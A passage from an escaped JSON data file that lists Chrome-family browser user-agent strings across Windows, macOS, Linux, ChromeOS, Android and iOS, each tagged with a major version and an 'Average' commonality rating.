Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.97 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (iPad;U;CPU OS 5_1_1 like Mac OS X; zh-cn)AppleWebKit\\/534.46.0(KHTML, like Gecko)CriOS\\/19.0.1084.60 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit\\/604.1.34 (KHTML, like Gecko) CriOS\\/65.0.3325.152 Mobile\\/15D100 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.1; Z982 Build\\/NMF26V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD; U; Viera; en-IE) AppleWebKit\\/537.11 (KHTML, like Gecko) Viera\\/3.10.14 Chrome\\/23.0.1271.97 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.96 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.65 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 6310.68.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.96 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; Redmi Note 4 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.85 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/31.0.1650.63 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGMP260 Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-N900V Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.1.34 (KHTML, like Gecko) CriOS\\/64.0.3282.112 Mobile\\/15D60 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/536.11 (KHTML, like Gecko) Chrome\\/20.0.1132.57 Safari\\/536.11\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) CriOS\\/59.0.3071.102 Mobile\\/14F89 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.34 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/536.11 (KHTML, like Gecko) Chrome\\/20.0.1132.57 Safari\\/536.11\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG-SM-N900A Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.57 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.11 (KHTML like Gecko) Chrome\\/23.0.1271.95 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2220.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1 (KHTML, like Gecko) CriOS\\/51.0.2704.104 Mobile\\/13F69 Safari\\/601.1.46\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.91 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; LGMS330 Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.93 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.97 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/31.0.1650.63 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7390.61.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7262.52.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7077.134.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.156 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3043.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/27.0.1453.93 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9202.60.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.137 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.133 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/30.0.1599.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/32.0.1700.107 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.3; en-us; SAMSUNG SCH-I545 Build\\/JSS15J) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; Z970 Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGMS210 Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.98 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/37.0.2062.120 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/36.0.1985.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-G928V Build\\/MMB29K; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/61.0.3163.98 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.11 (KHTML like Gecko) Chrome\\/23.0.1271.64 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0; RCT6303W87DK Build\\/LRX21M) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/37.0.0.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/36.0.1985.125 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.4 (KHTML, like Gecko) Chrome\\/22.0.1229.94 Safari\\/537.4\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/533.4 (KHTML, like Gecko) Chrome\\/5.0.375.99 Safari\\/533.4\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.146 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.90 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; Z981 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.98 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2049.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"BrightSign\\/R3E6DP000834\\/6.2.94 (XD233) Mozilla\\/5.0 (Unknown; Linux arm) AppleWebKit\\/537.36 (KHTML, like Gecko) QtWebEngine\\/5.6.0 Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.109 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7834.66.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/37.0.2062.120 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.11 (KHTML like Gecko) Chrome\\/23.0.1271.95 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.3; en-us; SAMSUNG SGH-M919 Build\\/JSS15J) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.64 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/536.5 (KHTML, like Gecko) Chrome\\/19.0.1084.52 Safari\\/536.5\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build\\/IMM76B) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.133 Mobile Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.31 (KHTML like Gecko) Chrome\\/26.0.1410.64 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9000.82.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.57 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) 